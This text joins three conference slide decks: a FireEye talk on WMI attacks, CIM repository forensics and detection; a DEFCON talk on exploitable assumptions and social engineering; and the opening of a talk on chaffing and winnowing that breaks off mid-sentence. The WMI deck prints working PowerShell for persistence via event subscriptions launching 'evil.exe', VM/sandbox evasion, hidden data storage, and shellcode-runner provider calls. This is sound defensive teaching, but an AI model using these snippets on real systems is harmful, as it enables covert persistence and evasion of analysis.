ROOT\CIMV2:Win32_VolumeChangeEvent ROOT\CIMV2:Msft_WmiProvider* ROOT\DEFAULT:RegistryKeyChangeEvent ROOT\DEFAULT:RegistryValueChangeEvent 36 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Events - Consumers The action taken upon firing an event These are the standard event consumers: - LogFileEventConsumer - ActiveScriptEventConsumer - NTEventLogEventConsumer - SMTPEventConsumer - CommandLineEventConsumer Present in the following namespaces: - ROOT\CIMV2 - ROOT\DEFAULT 37 Copyright © 2015, FireEye, Inc. All rights reserved. Permanent WMI Events Event subscriptions persistent across reboots Requirements: 1. Filter – An action to trigger off of • Creation of an __EventFilter instance 2. Consumer – An action to take upon triggering the filter • Creation of a derived __EventConsumer instance 3. Binding – Registers a FilterConsumer • Creation of a __FilterToConsumerBinding instance 38 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Events - Overview 39 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. Remote WMI 40 Copyright © 2015, FireEye, Inc. All rights reserved. Remote WMI Protocols - DCOM DCOM connections established on port 135 Subsequent data exchanged on port dictated by - HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet – Ports (REG_MULTI_SZ) - configurable via DCOMCNFG.exe Not firewall friendly By default, the WMI service – Winmgmt is running and listening on port 135 MSDN: Setting Up a Fixed Port for WMI MSDN: Connecting Through Windows Firewall 41 Copyright © 2015, FireEye, Inc. All rights reserved. Remote WMI Protocols - DCOM 42 Copyright © 2015, FireEye, Inc. All rights reserved. Remote WMI Protocols - WinRM/PowerShell Remoting SOAP protocol based on the WSMan specification Encrypted by default Single management port – 5985 (HTTP) or 5986 (HTTPS) The official remote management protocol in Windows 2012 R2+ SSH on steroids – Supports WMI and code execution, object serialization Scriptable configuration via WSMan “drive” in PowerShell 43 Copyright © 2015, FireEye, Inc. All rights reserved. Remote WMI Protocols – WinRM/PowerShell Remoting 44 Copyright © 2015, FireEye, Inc. All rights reserved. Remote WMI Protocols – WinRM/PowerShell Remoting 45 Copyright © 2015, FireEye, Inc. All rights reserved. Remote WMI Protocols – WinRM/PowerShell Remoting 46 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attack Lifecycle 47 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attacks From an attackers perspective, WMI can be used but is not limited to the following: - Reconnaissance - VM/Sandbox Detection - Code execution and lateral movement - Persistence - Data storage - C2 communication 48 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attacks – Reconnaissance Host/OS information: ROOT\CIMV2:Win32_OperatingSystem, Win32_ComputerSystem File/directory listing: ROOT\CIMV2:CIM_DataFile Disk volume listing: ROOT\CIMV2:Win32_Volume Registry operations: ROOT\DEFAULT:StdRegProv Running processes: ROOT\CIMV2:Win32_Process Service listing: ROOT\CIMV2:Win32_Service Event log: ROOT\CIMV2:Win32_NtLogEvent Logged on accounts: ROOT\CIMV2:Win32_LoggedOnUser Mounted shares: ROOT\CIMV2:Win32_Share Installed patches: ROOT\CIMV2:Win32_QuickFixEngineering Installed AV: ROOT\SecurityCenter[2]:AntiVirusProduct 49 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attacks – VM/Sandbox Detection Sample WQL Queries SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648 SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2 Example $VMDetected = $False $Arguments = @{ Class = 'Win32_ComputerSystem' Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648' } if (Get-WmiObject @Arguments) { $VMDetected = $True } 50 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attacks – VM/Sandbox Detection Sample WQL Queries SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%" SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%" SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe" SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%" Example $VMwareDetected = $False $VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE "%VMware%" OR Name LIKE "%VMware%"' $VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"' $VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"' if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True } 51 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attacks – Code Execution and Lateral Movement 52 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attacks – Persistence $filterName = 'BotFilter82' $consumerName = 'BotConsumer23' $exePath = 'C:\Windows\System32\evil.exe' $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} 53 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attacks – Data Storage $StaticClass = New-Object System.Management.ManagementClass('root\cimv2', $null, $null) $StaticClass.Name = 'Win32_EvilClass' $StaticClass.Put() $StaticClass.Properties.Add('EvilProperty' , 'This is not the malware you're looking for') $StaticClass.Put() 54 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Providers 55 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Providers COM DLLs that form the backend of the WMI architecture Nearly all WMI objects and their method are backed by a provider Unique GUID associated with each provider GUIDs may be found in MOF files or queried programmatically GUID corresponds to location in registry - HKEY_CLASSES_ROOT\CLSID\<GUID>\InprocServer32 – (default) Extend the functionality of WMI all while using its existing infrastructure New providers create new __Win32Provider : __Provider instances Unique per namespace 56 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Providers Get-WmiProvider.ps1 - https://gist.github.com/mattifestation/2727b6274e4024fd2481 57 Copyright © 2015, FireEye, Inc. All rights reserved. Malicious WMI Providers This was merely a theoretical attack vector until recently… EvilWMIProvider by Casey Smith (@subTee) - https://github.com/subTee/EvilWMIProvider - PoC shellcode runner - Invoke-WmiMethod -Class Win32_Evil -Name ExecShellcode -ArgumentList @(0x90, 0x90, 0x90), $null EvilNetConnectionWMIProvider by Jared Atkinson (@jaredcatkinson) - https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider - PoC PowerShell runner and network connection lister - Invoke-WmiMethod -Class Win32_NetworkConnection -Name RunPs -ArgumentList 'whoami', $null - Get-WmiObject -Class Win32_NetworkConnection 58 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Forensics 59 Copyright © 2015, FireEye, Inc. All rights reserved. With online systems: use WMI to query itself - Enumerate filter to consumer bindings - Query WMI object definitions for suspicious events CIM repository is totally undocumented - objects.data, index.btr, mapping#.map Today, forensic analysis is mostly hypothesize and guess: - Copy CIM repository to a running system, or - strings.exe on objects.data WMI Forensics - Motivation 60 Copyright © 2015, FireEye, Inc. All rights reserved. WMI “providers” register themselves to expose query-able data - Object-oriented type hierarchy: Namespaces, Classes, Properties, Methods, Instances, References - CIM (Common Information Model) repository : %SystemRoot%\WBEM\Repository • Objects.data • Mapping1.map, Mapping2.map, Mapping3.map • index.btr • mapping.ver – Only in XP, specifies the index of the current mapping file - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM WMI Implementation on Disk 61 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Repository 62 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Repository – Artifact Recovery Methodology Construct the search string, taking into consideration the artifact’s namespace, class, name - Stay tuned Perform a search in the index.btr - Logical Page # - Artifact’s Record Identifier - Artifact’s Record Size Based on the Logical Page #, determine the Physical Page # from the objects.data Mapping in Mapping#.map Find the Record Header based on the Artifact’s Record Identifier in the page discovered at previous step in objects.data Validate the size in the Record Header matches Artifact’s Record Size in index.btr found string Record Offset in the Record Header represents the offset in the current page of the Artifact 63 Copyright © 2015, FireEye, Inc. All rights reserved. Paged Page Size = 0x2000 Physical Offset = PageNumber x PageSize Most of the pages contain records - Record Headers • Size = 0x10 • Last Record Header contains only 0s - Records A record with size greater than the Page Size always starts in an empty page - Use the Mapping file to find the rest of the record’s chunks Objects.data – Structure 64 Copyright © 2015, FireEye, Inc. All rights reserved. Record Header : RecID, RecOffset, RecSize, Crc32 (16 bytes) First Record starts immediately after last Record Header CRC32 is only stored in the Record Header in Repos under XP Objects.data – Page Structure Offset RecID RecOffset RecSize CRC32 Last Record Header First Record First Record Header 65 Copyright © 2015, FireEye, Inc. All rights reserved. Up to 3 mapping files In XP Mapping.ver specifies the index of the most current Mapping file Consists of: - Objects.data Mapping data - Index.btr Mapping data Logical Page# = Index in Map Mapping#.map 66 Copyright © 2015, FireEye, Inc. All rights reserved. Start Signature: 0xABCD Header: - Revision - PhysicalPagesCount - MappingEntriesCount Mapping Data FreePages Mapping Size FreePages Mapping Data End Signature : 0xDCBA Mapping#.map - Mapping data 67 Copyright © 2015, FireEye, Inc. All rights reserved. Mapping#.map – Header and Mapping Data Start Signature Logical-Page 0 => Physical-Page 0xC11 Logical-Page 6 => Physical-Page 0xABB Revision PhysicalPagesCount MappingEntriesCount Mapping Data 68 Copyright © 2015, FireEye, Inc. All rights reserved. Mapping#.map – Free Pages Mapping Data Free Pages Map Size End Signature Free Pages Mapping Data 69 Copyright © 2015, FireEye, Inc. All rights reserved. B-Tree on disk Paged PageSize = 0x2000 Physical Offset = PageNumber x PageSize Root of the Tree - In XP => Logical Page Number = the DWORD at offset 12 in Logical Page 0 - In Vista and Up => Logical Page Number = Logical Page 0 - Use the Index.btr Mapping Data in Mapping#.map to find out the Physical Page Index.btr 70 Copyright © 2015, FireEye, Inc. All rights reserved. A page consists of: - Header - List of logical page numbers => Pointers to next level nodes - List of Offset Pointers to Search String Records - Search String Records - List of Offset Pointers to Strings - Strings Index.btr - Page 71 Copyright © 2015, FireEye, Inc. All rights reserved. Index.btr – Root Page Details Header: Signature LogicalPage Zero RootLogPage EntriesCount Strings Next Level Logical Pages Search String Records Search String Offsets in uint16s String Offsets Strings Count After Strings Offset Records Size in uint16s 72 Copyright © 2015, FireEye, Inc. All rights reserved. Index.btr – Root Page Search Strings 73 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. MOF Managed Object Format 74 Copyright © 2015, FireEye, Inc. All rights reserved. MOF – Primitives Object Oriented Hierarchy consisting of: - Namespaces - Classes - Instances - References - Properties - Qualifiers 75 Copyright © 2015, FireEye, Inc. All rights reserved. MOF – Namespaces Namespace Definition – a way to create new namespaces - __namespace – class representing a namespace Namespace Declaration - #pragma namepace (\\<computername>\<path>) 76 Copyright © 2015, FireEye, Inc. All rights reserved. MOF – Classes/Properties/References Class definition: - A list of qualifiers • abstract, dynamic, provider - Class name - A list of properties - A list of references to instances Property definition: - A list of qualifiers • type, primary key, locale - Property name Reference definition: - Class referenced - Reference name 77 Copyright © 2015, FireEye, Inc. All rights reserved. MOF – Example 78 Copyright © 2015, FireEye, Inc. All rights reserved. MOF – Instances Instance declarations: - Property name = Property value - Reference name = Class instance referenced 79 Copyright © 2015, FireEye, Inc. All rights reserved. MOF – Full Example 80 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives 81 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives - Algorithm Transform the input string to UPPER CASE In Windows XP - Compute MD5 hash In Windows Vista and up - Compute SHA256 hash Convert the hash to string 82 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Namespaces Compute hash for the namespace name, i.e. “ROOT\DEFAULT” and prepend “NS_” - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0 Compute hash for the __namespace, i.e. “__NAMESPACE” and prepend “CI_” - CI_E5844D1645B0B6E6F2AF610EB14BFC34 Compute hash for the instance name, i.e “NEWNS” and prepend “IL_” - IL_14E9C7A5B6D57E033A5C9BE1307127DC Concatenated resulting string using “\” as separator - NS_<parent_namespace_hash>\CI_<__namespace_hash>\IL_<instance_name_hash> 83 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Namespaces 84 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Class Definitions Compute hash of the namespace name, i.e. “ROOT\DEFAULT” and prepend “NS_” - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0 Compute hash of the class name, i.e. “EXISTINGCLASS” and prepend “CD_” - CD_D39A5F4E2DE512EE18D8433701250312 Compute hash of the parent class name, i.e “” (empty string) and prepend “CR_” - CR_D41D8CD98F00B204E9800998ECF8427E Compute hash of the class name, i.e. “EXISTINGCLASS” and prepend “C_” - C_D39A5F4E2DE512EE18D8433701250312 Concatenated resulting string using “\” as separator - NS_<namespace_hash>\CD_<class_name_hash> - NS_<namespace_hash>\CR_<base_class_name_hash>\C_<class_name_hash> 85 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Class Definitions 86 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Class with Refs Definitions Construct additional string path describing the reference member Compute hash of the referenced class namespace, i.e. “ROOT\DEFAULT” and prepend “NS_” - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0 Compute hash of the referenced class name, i.e. “EXISTINGCLASS” and prepend “CR_” - CR_D39A5F4E2DE512EE18D8433701250312 Compute hash of the class name, i.e “NEWCLASS” and prepend “R_” - R_D41D8CD98F00B204E9800998ECF8427E Concatenated resulting strings using “\” as separator - NS_<namespace_hash>\CR_<reference_class_name_hash>\R_<class_name_hash> 87 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Class with Refs Definitions 88 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Instances Compute hash of the namespace name, i.e. “ROOT\DEFAULT” and prepend “NS_” - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0 Compute hash of the class name, i.e. “EXISTINGCLASS” and prepend “CI_” - CI_D39A5F4E2DE512EE18D8433701250312 Compute hash of the instance primary key(s) name, i.e “EXISITINGCLASSNAME” and prepend “IL_” - IL_ AF59EEC6AE0FAC04E5E5014F90A91C7F Concatenated resulting string using “\” as separator - NS_<namespace_hash>\CI_<class_name_hash>\IL_<instance_name_hash> 89 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Instances 90 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Instances with Refs Construct additional string path describing the instance reference value Compute hash of the referenced class namespace, i.e. “ROOT\DEFAULT” and prepend “NS_” - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0 Compute hash of the referenced class name, i.e. “EXISTINGCLASS” and prepend “KI_” - KI_D39A5F4E2DE512EE18D8433701250312 Compute hash of the referenced instance primary key name, i.e “EXISITINGCLASSNAME” and prepend “IR_” - IR_ AF59EEC6AE0FAC04E5E5014F90A91C7F Concatenated resulting string using “\” as separator - NS_<namespace_hash>\KI_<referenced_class_name_hash>\IR_<referenced_instance_name_hash>\ R_<reference_id> 91 Copyright © 2015, FireEye, Inc. All rights reserved. Representation of MOF Primitives – Instances with Refs 92 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. Forensic Investigation of WMI Attacks 93 Copyright © 2015, FireEye, Inc. All rights reserved. FLARE team reverse engineered the CIM repository file formats Two tools developed: - cim-ui – GUI WMI Repo parser written in Python - WMIParser – command line tool written in C++ • WmiParser.exe –p “%path_to_CIM_repo%” [–o “%path_to_log_file%”] Next Generation Detection 1/2 94 Copyright © 2015, FireEye, Inc. All rights reserved. Collect entire CIM repo (directory %SystemRoot%\WBEM\Repository) Parse offline - Inspect persistence objects • __EvenFilter instances • __FilterToConsumerBinding instances • ActiveScriptEventConsumer, CommandLineEventConsumer instances • CCM_RecentlyUsedApps instances • Etc. - Timeline new/modified class definition and instances - Export suspicious class definitions - Decode and analyze embedded scripts with full confidence Next Generation Detection 2/2 95 Copyright © 2015, FireEye, Inc. All rights reserved. CIM-UI 1/3 96 Copyright © 2015, FireEye, Inc. All rights reserved. CIM-UI 2/3 97 Copyright © 2015, FireEye, Inc. All rights reserved. CIM-UI 3/3 98 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. Python-CIM Demo 99 Copyright © 2015, FireEye, Inc. All rights reserved. WMIParser 1/6 100 Copyright © 2015, FireEye, Inc. All rights reserved. WMIParser 2/6 101 Copyright © 2015, FireEye, Inc. All rights reserved. WMIParser 3/6 102 Copyright © 2015, FireEye, Inc. All rights reserved. WMIParser 4/6 103 Copyright © 2015, FireEye, Inc. All rights reserved. WMIParser 5/6 104 Copyright © 2015, FireEye, Inc. All rights reserved. WMIParser 6/6 105 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMIparser.exe Demo 106 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attack Detection 107 Copyright © 2015, FireEye, Inc. All rights reserved. Attacker Detection with WMI Persistence is still the most common WMI-based attack Use WMI to detect WMI persistence $Arguments = @{ Credential = 'WIN-B85AAA7ST4U\Administrator' ComputerName = '192.168.72.135' Namespace = 'root\subscription' } Get-WmiObject -Class __FilterToConsumerBinding @Arguments Get-WmiObject -Class __EventFilter @Arguments Get-WmiObject -Class __EventConsumer @Arguments 108 Copyright © 2015, FireEye, Inc. All rights reserved. Sysinternals Autoruns Kansa - https://github.com/davehull/Kansa/ - Dave Hull (@davehull), Jon Turner (@z4ns4tsu) Existing Detection Utilities 109 Copyright © 2015, FireEye, Inc. All rights reserved. Attacker Detection with WMI Consider the following attacker actions and their effects: Attack: Persistence via permanent WMI event subscriptions Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding created Attack: Use of WMI as a C2 channel. E.g. via namespace creation Effect: Instances of __NamespaceCreationEvent created Attack: WMI used as a payload storage mechanism Effect: Instances of __ClassCreationEvent created 110 Copyright © 2015, FireEye, Inc. All rights reserved. Attacker Detection with WMI Attack: Persistence via the Start Menu or registry Effect: Win32_StartupCommand instance created. Fires __InstanceCreationEvent Attack: Modification of additional known registry persistence locations Effect: RegistryKeyChangeEvent and/or RegistryValueChangeEvent fires Attack: Service creation Effect: Win32_Service instance created. Fires __InstanceCreationEvent Are you starting to see a pattern? 111 Copyright © 2015, FireEye, Inc. All rights reserved. Attacker Detection with WMI WMI is the free, agent-less host IDS that you never knew existed! 112 Copyright © 2015, FireEye, Inc. All rights reserved. Attacker Detection with WMI Wouldn’t it be cool if WMI could be used to detect and/or remove ANY persistence item? 1. WMI persistence 2. Registry persistence - Run, RunOnce, AppInit_DLLs, Security Packages, Notification Packages, etc. 3. Service creation 4. Scheduled job/task creation 5. Etc. 113 Copyright © 2015, FireEye, Inc. All rights reserved. Benefits of a WMI solution Available remotely on all systems Service runs by default Unlikely to be detected/removed by attacker Persistent No executables or scripts on disk – i.e. no agent software installation Nearly everything on the operating system can trigger an event Security vendors, this is where you start to pay attention… 114 Copyright © 2015, FireEye, Inc. All rights reserved. Introducing WMI-HIDS A proof-of-concept, agent-less, host-based IDS Consists of just a PowerShell installer PowerShell is not required on the remote system Implemented with permanent WMI event subscriptions 115 Copyright © 2015, FireEye, Inc. All rights reserved. Introducing WMI-HIDS - RTFM New-AlertTrigger -EventConsumer <String> [-TriggerType <String>] [-TriggerName <String>] [-PollingInterval <Int32>] New-AlertTrigger -StartupCommand [-TriggerType <String>] [-TriggerName <String>] [-PollingInterval <Int32>] New-AlertTrigger -RegistryKey <String> [-TriggerName <String>] [- PollingInterval <Int32>] New-AlertAction -Trigger <Hashtable> -Uri <Uri> [-ActionName <String>] New-AlertAction -Trigger <Hashtable> -EventLogEntry [-ActionName <String>] Register-Alert [-Binding] <Hashtable> [[-ComputerName] <String[]>] 116 Copyright © 2015, FireEye, Inc. All rights reserved. Introducing WMI-HIDS - Example New-AlertTrigger -EventConsumer ActiveScriptEventConsumer -TriggerType Creation | New-AlertAction -Uri 'http://127.0.0.1' | Register-Alert -ComputerName 'VigilentHost1' New-AlertTrigger -RegistryKey HKLM:\SYSTEM\CurrentControlSet\Control\Lsa | New- AlertAction -EventLogEntry | Register-Alert -ComputerName ‘192.168.1.24' New-AlertTrigger -StartupCommand | New-AlertAction -Uri 'http://www.awesomeSIEM.com' | Register-Alert 117 Copyright © 2015, FireEye, Inc. All rights reserved. WMI-IDS Improvements Additional __EventFilter support: - Win32_Service - Win32_ScheduledJob - __Provider - __NamespaceCreationEvent - __ClassCreationEvent - Etc. Additional __EventConsumer support - Make this an IPS too? Support removal of persistence items Make writing plugins more easy Additional detection is left as an exercise to the reader and security vendor. 118 Copyright © 2015, FireEye, Inc. All rights reserved. WMI-IDS Takeaway Be creative! There are thousands of WMI objects and events that may be of interest to defenders - Root\Cimv2:Win32_NtEventLog - Root\Cimv2:Win32_ProcessStartTrace - Root\Cimv2:CIM_DataFile - Root\StandardCimv2:MSFT_Net* (Win8+) - Root\WMI:BCD* 119 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Attack Mitigations 120 Copyright © 2015, FireEye, Inc. All rights reserved. Detection/Mitigations Stop the WMI service - Winmgmt? Firewall rules Event logs - Microsoft-Windows-WinRM/Operational - Microsoft-Windows-WMI-Activity/Operational - Microsoft-Windows-DistributedCOM Preventative permanent WMI event subscriptions 121 Copyright © 2015, FireEye, Inc. All rights reserved. Mitigations – Namespace ACLs 122 Copyright © 2015, FireEye, Inc. All rights reserved. Mitigations – Namespace ACLs 123 Copyright © 2015, FireEye, Inc. All rights reserved. Thank you! For fantastic ideas - Will Schroeder (@harmj0y) and Justin Warner (@sixdub) for their valuable input on useful __EventFilters For motivation - Our esteemed colleague who claimed that the WMI/CIM repository had no structure For inspiration - APT 29 for your continued WMI-based escapades and unique PowerShell coding style 124 Copyright © 2015, FireEye, Inc. All rights reserved. Understanding WMI Malware - Julius Dizon, Lennard Galang, and Marvin Cruz/Trend Micro - http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp__understanding-wmi- malware.pdf There’s Something About WMI - Christopher Glyer, Devon Kerr - https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon_2014_IR_Track_There%27s_Something_About_WMI.pdf References 125 Copyright © 2015, FireEye, Inc. All rights reserved. Multiple binary CTFs – puzzles, malware, etc In 2014, the First FLARE On Challenge was a huge success - Over 7,000 participants and 226 winners! Second Challenge is live and open - FLARE-On.com - Closes on 9/8 - Diverse puzzles: UPX, Android, Steg, .NET and more Those who complete the challenge get a prize and bragging rights! 126 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. THANK YOU! Questions?
pdf
Exploitable Assumptions Doktor Zoz, Dr. Foley, and Eric Schmiedl What the hell is a Hacker? What the hell is a Hacker? The movie does get a few things right Curiosity Assumptions and Authority! Hacker Mindset Good at spotting flaws, inefficiencies Must know how things work at any cost Boil things to most abstract level Are stubborn, with bloody-mindedness Constantly testing even if inconvenient Intuition of what is interesting to verify Willing to take risks and fail Доверяй, но проверяй Trust but verify --Ronald Reagan 1987 } Assumptions! Why do we care about those damned Assumptions? KRB4 zero-seed encrypt everyone assumed working because output looked encrypted and worked Buffer overruns Assumption that you will only write so much data SQL injections Assume that variables cannot affect flow control When you assume... Assumptions Aplenty Snake in the Peanut Brittle! No explanation needed Good looking websites and evil web design Assumption of similarity to physical storefronts Exploits assumptions of "relevant info" and "not relevant" through misleading graphic design Fighting Assumptions: Axiomatic Design aka WWNSD MIT Mechanical Engineering & KAIST: Design Methodology [Suh 2001] Solution neutral design process Excellent for discovering assumptions Dr. Nam Suh says: "Assumptions make you stupid. No good! Y fail!" Axiomatic Design Process Axiom 1: Decouple aka. Independence Axiom Within domain, elements MUST be independent! Problems arise when Customer needs assumed as functional requirements Functional requirements assumed as design parameters Contradictions lead to conflicts, lead to security holes Axiom 2: Reduce complexity aka Information Axiom Designs with least information increase robustness complexity opens "arbitrage" opportunities complexity vs. user centered design user workarounds create security holes Beware time dependence Some complexity is static, some is time dependent t-dependent combinatorial complexity -> chaos transform combinatorial into periodic periodical, lossless "reboot" Warm Up Problem: H.A.M.M.E.R. Straight Hardened Metal Fastener Insertion Tool Functional Requirements (Why) 1. 2. 3. 4. Design Parameters (How) 1. 2. 3. 4. Creating Assumption Exploits Confusing comparisons aka. Math is hard, let's go shopping Jumping the Epic Level spear phishing generating pseudoauthority using fantasy Misdirection bait and switch Aesthetics cons looks like a duck... must be a duck Why do people gamble? Odds of dying if you were alive 1939-1945: 1 in 221 due to a home appliance: 1 in 1,500,000 of terrorism in the USA: 1 in 3,500,000 of terrorism in Canada: 1 in 3,800,000 Challenge: Develop more approachable statistics set by having comparisons of things people recognize http://i64.photobucket. com/albums/h190/Morphthecat/death -clock.jpg Vegas Odds Poker Roulette Craps Mommy, I'm Scared... "Unacceptable risk" normally 1 in 10,000 or 1 in 100,000 risks home appliances 1 in 1,500,000 terrorism is 1 in 3,500,000 budgets CPSC [product safety] -- $100 million FBI counterterrorism -- 29x higher, $2.9 billion DHS budget -- 440x higher, $44 billion Death in the USA 2001 Heart Disease 1:6 Cancer 1:7 Stroke 1:23 Motor Vehicle Accident 1:100 Suicide 1:121 Falling Down 1:246 Assault by Firearm 1:325 Fire or Smoke 1:1,116 Natural Forces (heat, cold, storms, quakes, etc.) 1:3,357 Electrocution 1:5,000 Drowning 1:8,942 Air Travel Accident* 1:20,000 Flood* 1:30,000 Legal Execution 1:57,618 Tornado* 1:60,000 Lighting Strike* 1:83,930 Venom (Bee, Snake, etc.) 1:100,000 Earthquake 1:131,890 Dog Attack 1:147,717 Asteroid Impact* 1:200,000 -- 1:500,000 Tsunami* 1:500,000 Fireworks Discharge 1:615,488 http://www.livescience.com/environment/050106_odds_of_dying.html Mueller and Stewart, "Hardly Existential: Thinking Rationally about Terrorism." Foreign Affairs, April 2, 2010. Problem: Airport Security What is the goal of Airport Security? 3 Card Monty Challenge Design a simple con game where the target thinks they have an unfair advantage but also legitimate way to lose. http://www.123opticalillusions. com/pages/dice_illusion.php Patriotism anyone who tests airport security is a terrorist! Financial opening the box voids your warranty Signage Wet Paint No unauthorized entry Aesthetics Pretty website = reputable Assumptions of (pseudo)Authority DEFCON Vendor Security Challenge Defenders Step 1: define attackers, operating needs Step 2: develop defenses Attackers Step 1: define attackers, desired exploit outcomes Step 2: develop countermeasures www.motifake.com Problem: Compromised Account Value Problem: Social Authentication Could you use social networking as an authentication mechanism? What does "friending" actually mean? http://www.blacknbougie.com/2010/03/five-quick-ways-to-get-de-friended-on. html Social Engineering Contest Best comp from the casino you are not staying in (the Riv is out no matter what) Deadline Saturday 2PM Fantasy Hacking Marketing people want to use fantasy/symbols to sell you stuff Coke gives you life! Redbull gives you wings. Social assumptions in slogans are made evident during translation Coke brings your dead ancestors back! Ming's Market in Boston is actually "Cheap Good Grocer" Let's look for fantasy probes and social assumptions that can be used to marketing-hack a particular group. Summary Assumptions are powerful Lesser mind control We need to be aware of these assumptions to avoid designing bad systems or exploit such systems Axiomatic Design is a tool to identify these assumptions Thanks for Playing! [email protected] Latest Version: http://objid.net/assumption-defcon Bicycles! http://blog.makezine.com/archive/2006/03/the_modern_marvels_invent_4.html Visualization: Gun Are these guns? Fabrique Nationale P90 Metal Storm Steyr AUG A2 Steyr Match FP
pdf
Keeping Secret Secrets Secret Keeping Secret Secrets Secret and and Sharing Secret Secrets Secretly Sharing Secret Secrets Secretly Vic Vandal Vic Vandal [email protected] [email protected] DefCon DefCon-XVI / 2008 -XVI / 2008 Vic’s Usual Disclaimer • Don’t do anything illegal. • If you do anything illegal, don’t get caught. • I take no personal responsibility for the subsequent illegal use of any information provided here by anyone. • I don’t condone/support espionage, treason, child porn, terrorism, or general stupidity. I “may” take more liberal views on some of the other usage examples herein. • I own my own words, which means I may legally challenge any use or duplication of them for which I have not provided explicit permission. • Any duplication of this presentation must include this slide. Stego Stego Files Link Files Link (for later in the presentation) (for later in the presentation) http://www.well.com/~sthomas/.Secret-Page.html Introduction • What is a secret? – DUH!…anything secret, keys to important items, secret plans/designs/code, sensitive info/items, etc. • Why protect secrets? – Because “SECRET = SECRET” (see Webster’s definition for more on that secret formula, cough) • Why share secrets? – Secrecy – Fault-tolerance – Profit – Fun Chaffing and Winnowing Chaffing and Winnowing What Is It? • Winnowing -- separating out or eliminating the chaff • Chaffing -- adding chaff to a collection • By a sender strategically adding chaff to a message, it becomes garbled/hidden • By the receiver correctly winnowing out the chaff, they can retrieve the original message How It’s Done 1. Authenticate each packet of message with a shared authentication key 2. Append a Message Authentication Code (MAC) to each packet 3. After authentication, add chaff packets with bad MAC’s to the message stream • MAC’s are added to message packets by calculating the MAC value and appending the fixed length MAC to each corresponding packet Authentication Key • Authentication key used to calculate MAC’s is shared by sender and receiver • When recipient receives packets, they compute the MAC with the message-packet content and the shared key • If the calculated MAC equals the transmitted MAC, the origin of the packet is known to be the sender and the packet 